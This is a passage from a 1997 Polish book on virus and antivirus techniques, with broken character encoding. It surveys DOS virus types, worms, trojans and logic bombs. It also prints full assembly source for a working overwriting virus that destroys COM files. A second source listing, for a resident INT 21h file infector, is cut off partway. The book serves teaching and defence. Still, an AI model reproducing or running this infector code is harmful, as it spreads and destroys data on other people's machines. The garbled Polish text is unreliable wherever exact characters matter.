wydawa� si� to niedorzeczne, lecz cz�sto potrafi� infekowa� nie tylko pliki BAT, ale tak�e pliki COM, EXE czy sektor tablicy partycji (wymaga to odpowiedniego, wcale nie tak trudnego, zaprogramowania). Po uruchomieniu zainfekowanego pliku wsadowego tworzony jest plik uruchamiamy COM lub EXE (za pomoc� polecenia ECHO, kt�rego parametry s� przekierowywane do pliku), zawieraj�cy w�a�ciwy kod infekuj�cy pliki BAT. Po utworzeniu jest on wykonywany, a nast�pnie kasowany. Ze wzgl�du na to, i� procesor nie rozr�nia kodu i danych, mo�na, poprzez sprytn� manipulacj�, utworzy� plik, kt�ry b�dzie m�g� si� wykona� zar�wno Jako typowy plik BAT, jak i plik COM. Na przyk�ad typowe polecenia plik�w wsadowych, wykonywane przez procesor jako cz�� kodu programu COM, b�d� rozumiane jako: polecenie pliku BAT instrukcje widziane przez procesor REM 52h PUSH DX ; db 'R' 45h INC BP ; db 'E' 4Dh DEC BP ; db 'M' ECHO 45h INC BP : db 'E' 43h INC BX : db 'C' 48h DEC AX ; db 'H' 4Fh DEC Dl ; db 'O' @ 40h INC AX ; db '@' 7t0 (deklaracja etykiety - interpretator nie wykonuje) 3Ah 37h CMP DH.[BX]; db ':7' 74h 30h JZ $+30h ; 't0' Po uruchomieniu zainfekowanego w ten spos�b pliku BAT wirus kopiuje si� do pliku tymczasowego o rozszerzeniu COM i wykonuje si�, tym razem jako kod maszynowy. Poni�ej zamieszczono przyk�ad prostego pliku (na dyskietce, w katalogu COMBAT), kt�ry wykonuje si� niezale�nie od tego, czy jest wywo�ywany z rozszerzeniem BAT czy COM. Po uruchomieniu wy�wietla on napis informuj�cy o rozszerzeniu, z jakim zosta� wywo�any. :7-: @ECHO OFF @ECHO Dzialam jako plik BAT ! @GOTO KONIEC �II-I@�M_-!�L-!Dzialam jako plik COM !$ :KONIEC 2.4. Makrowirusy, wirusy makros�w (ang. macroviruses) Tego typu wirusy to jeden z najnowszych pomys��w. Makrowirusy nie zara�aj� program�w uruchamia�nych, lecz pliki zawieraj�ce definicje makr. Najpopularniejsze obiekty infekcji to pliki DOC (dokumenty: Microsoft Word), XLS (arkusze kalkulacyjne: Microsoft Excel), SAM (dokumenty: AmiPro). Do mno�enia si� makrowirusy wykorzystuj� funkcje zawarte w j�zykach makr, wbudowanych w powy�sze aplikacje, np. WordBasic w Microsoft Word lub Visual Basie for Applications w programie Microsoft Excel. 2.5. Generatory wirus�w Na przestrzeni ostatnich kilku lat pojawi�o si� wiele program�w umo�liwiaj�cych stworzenie w�asnego wirusa, nawet bez znajomo�ci systemu, czy mechanizm�w wykorzystywanych przez wirusy. Narz�dzia tego typu s� dost�pne w sieci Internet. Korzystaj�c z gotowych modu��w w asemblerze mo�na utworzy� wirusa o zadanych parametrach, wybieranych najcz�ciej przy pomocy przyjaznego u�ytkownikowi menu lub specjalnego pliku definicyjnego. Mo�na wi�c okre�li� zakres obiekt�w infekowanych przez tworzonego wirusa, rodzaj efekt�w specjalnych, spos�b ewentualnej destrukcji, a tak�e warunki zadzia�ania efekt�w specjalnych. Opr�cz kodu wynikowego wirusa (gotowego do uruchomienia) generatory tworz� tak�e pe�ne, najcz�ciej dobrze opisane �r�d�a w asemblerze, co umo�liwia przeci�tnemu, ale zainteresowanemu pisaniem wirus�w u�ytkownikowi, dokszta�cenie si� w tej dziedzinie. Najbardziej znane generatory wirus�w to: IVP (Instant Virus Production Kit), VCL (Virus Construction Laboratory), PS-MPC (Phalcon-Skism-Mass Produced Code Generator), G2 (G Squared) i NRLG (NukE Randomic Life Generator). 2.6. Robaki (ang. worms) Robak to program, kt�rego dzia�anie sprowadza si� do tworzenia w�asnych duplikat�w, tak �e nie atakuje on �adnych obiekt�w, jak to czyni� wirusy. Opr�cz zajmowania miejsca na dysku program ten rzadko wywo�uje skutki uboczne. Podobnie jak wirusy towarzysz�ce, robaki najcz�ciej pisane s� w j�zykach wysokiego poziomu. Robaki s� najbardziej popularne w sieciach, gdzie maj� do dyspozycji protoko�y transmisji sieciowej, dzi�ki kt�rym mog� przemieszcza� si� po ca�ej sieci. 2.7. Konie troja�skie (ang. trojan horses) Ko� troja�ski nie jest wirusem komputerowym, ale ze wzgl�du na swoje dzia�anie (najcz�ciej destrukcyjne) cz�sto bywa z nim uto�samiany. Zasada dzia�ania koma troja�skiego jcst banalnie prosta. Uruchomio-ny, wykonuje niby to normaln� prace, bezpo�rednio wynikaj�ca , przeznaczenia programu (np.: gra, demo, program u�ytkowy), lecz dodatkowo, niejako w tle, wykonuje jakies niezauwa�alne dla u�yt-kownika operacje, (najcz�ciej po prostu niszczy - kasuje lub zamazu-je - dane na dysku twardym). Konie troja�skie najcz�ciej przenosz� sie w plikach udaj�cych nowe, popularne programy kompresuj�ce (np.: PKZIP, ARJ. RAR) lub te� udaj� programy narzedziowe do obs�ugi dysk�w. 2.8. Bomby logiczne (ang. logical bombs) O ile ko� troja�ski wykonuje brudn� robot� od razu po uruchomieniu, o tyle bomba swe destrukcyjne oblicze ukazuje tylko w okre�lonym odpowiednimi warunkami czasie (najcz�ciej zale�nie od aktualnej daty lub liczby poprzednich wywo�a� programu). Ze wzgl�du na to, i� w�a�ciwy, destrukcyjny kod mo�e by� ukryty w dowolnym miejscu programu zawieraj�cego bomb�, nale�y ostro�nie obchodzi� si� z aplikacjami, kt�rych pochodzenie jest nieznane. Mianem bomby okre�la si� cz�sto tak�e destrukcyjny, uruchamiany tylko po spe�nieniu jakiego� warunku, kod zawarty w wirusach. ROZDZIA� 3 3.1. Wirusy nierezydentne (ang. non-resident viruses) Wirusy nierezydentne s� najprostsz� odmian� wirus�w komputerowych zara�aj�cych pliki wykonywalne. Po uruchomieniu nosiciela poszukiwany jest, najcz�ciej przy pomocy funkcji (4E/4F/21), kolejny obiekt do zara�enia. W przypadku nie znalezienia �adnego kandydata, sterowanie oddawane jest do nosiciela, w przeciwnym razie znaleziony plik jest infekowany. Ofiary poszukiwane s� w bie��cym katalogu i/lub w katalogach okre�lonych w zmiennej �rodowiskowej PATH, i/lub w podkatalogach bie��cego katalogu, i/lub w katalogu g��wnym. Z regu�y wirus taki nie przejmuje �adnego przerwania (ewentualnie na czas infekcji przejmowane jest przerwanie programowe 24h, kt�re jest odpowiedzialne za obs�ug� b��d�w krytycznych). G��wn� wad� wirus�w nierezydentnych jest to, i� poszukiwanie ofiar przy starcie programu wi��e si� najcz�ciej z du�ym op�nieniem w uruchomieniu w�a�ciwego programu oraz �atwo zauwa�aln� przez u�ytkownika wzmo�on� aktywno�ci� przeszukiwanego no�nika. Drugim powa�nym mankamentem jest to, i� zara�aj� one tylko i wy��cznie po uruchomieniu nosiciela, a wi�c nie mog� efektywnie infekowa� plik�w ani te� skutecznie maskowa� swej obecno�ci w7 systemie, tak jak czyni� to wirusy rezydentne. Wirusy nierezydentne s� najcz�ciej wypuszczane przez oszo�omionych pierwszym sukcesem, pocz�tkuj�cych tw�rc�w^ wirus�w. O tym, jak prosto napisa� najprymitywniejsz� wersj� wirusa nierezydentnego, niech �wiadczy poni�sza kr�tka sekwencja napisana w asemblerze. Po skompilowaniu otrzymujemy program, kt�ry po uruchomieniu szuka przy pomocy funkcji (4E/21) pierwszego pliku o rozszerzeniu COM w aktualnym katalogu i po ewentualnym jego znalezieniu przepisuje sw�j kod na pocz�tek ofiary. Wirus ten jest bardzo prymitywny w swym dzia�aniu, gdy� nieodwracalnie niszczy zara�any przez siebie plik (jest to wirus nadpisuj�cy), a tak�e nie posiada �adnej obs�ugi b��d�w (w przypadku nieznalezienia ofiary wirus "zainfekuje"... ekran). Jego wykrycie to kwestia bardzo kr�tkiego czasu (programy COM przestan� "nagle" dzia�a�). ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; PRYMITYW v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Prymitywny wirus nierezydentny nadpisujacy, ; ; atakujacy i niszczacy pierwszy znaleziony ; ; w katalogu plik COM ; ; Kompilacja : ; ; TASM PRYMITYW.ASM ; ; TLINK /t PRYMITYW.OBJ ; ; ; ;----------------------------------------------------------------------------; PRYMITYW SEGMENT ASSUME CS: PRYMITYW, DS:PRYMITYW ORG 100h WirDlug = Offset (WirKoniec-WirStart) ; WirDlug okresla dlugosc calego kodu wirusa WirStart: mov cx,20h ; atrybut poszukiwanej pozycji katalogu (Archive) mov dx,Offset PlikiCOM ; szukaj plikow *.COM mov ah,4Fh ; funkcja DOS - szukaj pozycji w katalogu int 21h ; wywolaj funkcje mov ax,3D02h ; funkcja DOS - otworz plik do odczytu i zapisu mov dx,9Fh ; nazwa znalezionego pliku w buforze DTA ; znajdujacym sie pod adresem CS:80h int 21h ; wywolaj funkcje xchg ax,bx ; przenies uchwyt pliku z AX do BX mov cx,WirDlug ; podaj ile bajtow zapisac mov dx,100h ; zapisuj spod adresu CS:100h mov ah,30h ; funkcja DOS - zapisz do pliku int 21h ; wywolaj funkcje ret ; rownoznaczne z wykonaniem Int 20h PlikiCOM db '*.COM' ; maska dla poszukiwanych pozycji w katalogu WirKoniec: PRYMITYW ENDS END WirStart 3.2. Wirusy rezydentne (ang. resident viruses) Autorzy wirus�w szybko zorientowali si�, �e dzia�aj�ce tylko po uruchomieniu nosiciela wirusy nierezydentne maj� do�� ograniczone pole manewru, st�d te� poszukiwali Jakiego� mechanizmu, kt�ry pozwala�by na nieprzerwane monitorowanie systemu operacyjnego. Z pomoc� przyszli im nie�wiadomie sami autorzy systemu DOS, implementuj�c w typowo jednozadaniowym �rodowisku mechanizm sztucznej wielozadaniowo�ci. Zasada dzia�ania wirus�w rezyden-tnych polega bowiem na zainstalowaniu si� w pami�ci operacyjnej komputera i przej�ciu odpowiednich odwo�a� do systemu w spos�b podobny do tego, w jaki czyni� to programy typu TSR (ang. Terminate but Stay Resident). W zasadzie typowy wirus rezydentny to program TSR, kt�ry po zainstalowaniu ukrywa sw�j kod przed programami przegl�daj�cymi pami��. Aktywny i jednocze�nie ukryty w pami�ci, ma o wiele szersze pole manewru ni� wirusy nierezydentne. Monitorowanie odpowiednich funkcji DOS i BIOS pozwala mu bowiem przy ka�dej dowolnej pr�bie dost�pu na infekcj� plik�w lub sektor�w. Mo�liwe staje si� tak�e zastosowanie techniki zaawansowanego ukrywania si� w systemie (tzw. technika stealth, om�wiona w dalszej cz�ci opracowania). Zaw�adni�cia systemem dokonuje si� poprzez przej�cie odpowiednich przerwa� sprz�towych i funkcji obs�ugiwanych przez og�lnie dost�pne przerwania programowe. Ze wzgl�du na szybko�� mno�enia si� wirusy rezydentne dzie�a si� na szybkie intektory i wolne infektory. Poni�ej przedstawiono przyk�ad prostego wirusa rezydentnego, infekuj�cego pliki COM podczas ich uruchamiania. ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; KOMBAJN v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Prosty wirus rezydentny plikow COM ; ; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ; ; Przejmuje przerwanie 21h ; ; Przejmuje przerwanie 24h na czas infekcji ; ; ; ; Kompilacja : ; ; TASM KOMBAJN.ASM ; ; TLINK /t KOMBAJN.OB J ; ; ; ;----------------------------------------------------------------------------; JUMPS KOMBAJN SEGMENT ASSUME CS:KOMBAJN, DS:KOMBAJN ORG 100h Haslo = 0BACAh ; \ do sprawdzenia, czy wirus jest Odpowiedz = 0CABAh ; / juz zainstalowany w pamieci NUL = 00h ; \ LF = 0Ah ; - stale znakow CR = 0Dh ; / AtrReadOnly = 00000001b ; \ AtrHidden = 00000010b ; \ AtrSystem = 00000100b ; \ rozne stale atrybutow AtrVolumeID = 00001000b ; / pozycji katalogu AtrDirectory = 00010000b ; / AtrArchive = 00100000b ; / VRok = 1998 ; \ data opisujaca VMiesiac = 13 ; - pliki juz zainfekowane VDzien = 31 ; / VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa) DlugoscWPamieci = (DlugoscWirusa +31)/16 Start: ; poczatek wirusa PoczatekWirusa: ; pomocnicza etykieta Call Trik ; zapisz na stosie relatywny ofset Trik: pop si ; zdejmij ze stosu relatywny ofset sub si,103h ; oblicz ofset do poczatku wirusa mov ax,Haslo ; \ sprawdz, czy wirus jest int 21h ; / juz w pamieci cmp ax,Odpowiedz ; \ czy kopia wirusa odpowiedziala ? jne InstalacjaWPamieci ; / NIE - zainstaluj ; TAK - wypisz komunikat lea di,TeBylZainstalowany ; / call DrukSI ; / jmp PowrocDoNosiciela ; i powroc do nosiciela InstalacjaWPamieci: ; poczatek instalacji lea di,TeCopyRight ; \ wyswietl info o wirusie Call DrukSI ; / lea di,TeInstalacja ; \ zapytaj uzytkownika, czy chce Call DrukSI ; \ zainstalowac wirusa w pamieci Call Decyzja ; / jc PowrocDoNosiciela ; / CF=1 - uzytkownik nie chce instalowac mov ax,3521h ; funkcja DOS - wez adres INT 21 int 21h ; wywolaj funkcje mov [si][Stare21Seg],es ; \ zachowaj adres (wirus bedzie go mov [si][Stare21Ofs],bx ; / uzywal) mov ax,ds ; przywroc ES mov es,ax ; AX=ES=DS=CS=SS=PSP dec ax ; AX=ES-1=MCB do aktualnego bloku mov ds,ax ; DS=blok MCB mov bx,word ptr ds:[0003h] ; wez dlugosc aktualnego bloku sub bx,DlugoscWPamieci+1 ; zmniejsz go o dlugosc wirusa mov ah,4Ah ; funkcja DOS - zmien rozmiar bloku pamieci int 21h ; wywolaj funkcje mov bx,DlugoscWPamieci ; podaj dlugosc wymaganego bloku pamieci mov ah,48h ; funkcja DOS - przydzial bloku int 21h ; wywolaj funkcje jc PowrocDoNosiciela ; CF=1 - nie udalo sie przydzielic mov es,ax ; ES=wskazuje na przydzielony blok xor di,di ; ES:DI - dokad skopiwoac cld ; zwiekszaj SI, DI w REP MOVSB push si ; SI bedzie zmieniany, wiec zachowaj add si,offset PoczatekWirusa ; dodaj ofset : skad kopiowac mov cx,DlugoscWirusa ; cx=ile bajtow kopiowac rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do ES:DI, CX bajtow pop si ; przywroc relatywny ofset mov ax,es ; pobierz adres do MCB opisujacego dec ax ; blok, w ktorym jest wirus mov ds,ax ; DS=MCB wirusa mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa, jako systemowy sub ax,0Fh ; \ DS=adres bloku-10h mov ds,ax ; \ sztuczka, dzieki ktorej mozna ; / odwolywac sie do danych jak w ; / zwyklym programie COM (ORG 100h) mov dx,Offset NoweInt21 ; DX=adres do nowej procedury INT 21h mov ax,25FFh ; funkcja DOS - ustaw adres INT 21 int 21h ; wywolaj funkcje push cs ; \ wyswietl komunikat o pop ds ; \ instalacji w pamieci lea di,TeZainstalowany ; \ i segment, w ktorym Call DrukSI ; / rezyduje wirus mov ax,es ; / Call DrukHEX16 ; / PowrocDoNosiciela: ; push cs cs ; \ przywroc DS=ES=CS=PSP pop ds es ; / mov al,byte ptr [si][StareBajty] ; \ przywroc 3 poczatkowe bajty mov ds:[100h],al ; \ programu pod adresem CS:100h mov ax,word ptr [si][StareBajty+1] ; / mov ds:[101h],ax ; / mov ax,100h ; \ zachowaj na stosie slad do push ax ; / adresu 100h xor ax,ax ; \ dla bezpieczenstwa xor bx,bx ; \ lepiej wyzerowac rejestry xor cx,cx ; \ robocze xor dx,dx ; / xor si,si ; / xor di,di ; / ret ; powroc do nosiciela PytanieOInstalacje: ; \ odpowiedz rezydujacego xchg al,ah ; - wirusa na pytanie, czy jest iret ; / w pamieci NoweInt21: cmp ax,4B00h ; czy funkcja DOS - uruchom program ? je InfekcjaPliku ; TAK - sprobuj infekowac cmp ax,Haslo ; czy pytanie wirusa o instalacje ? je PytanieOInstalacje ; TAK - odpowiedz ze zainstalowany jmp PowrotZInt21 ; idz do poprzedniego lancucha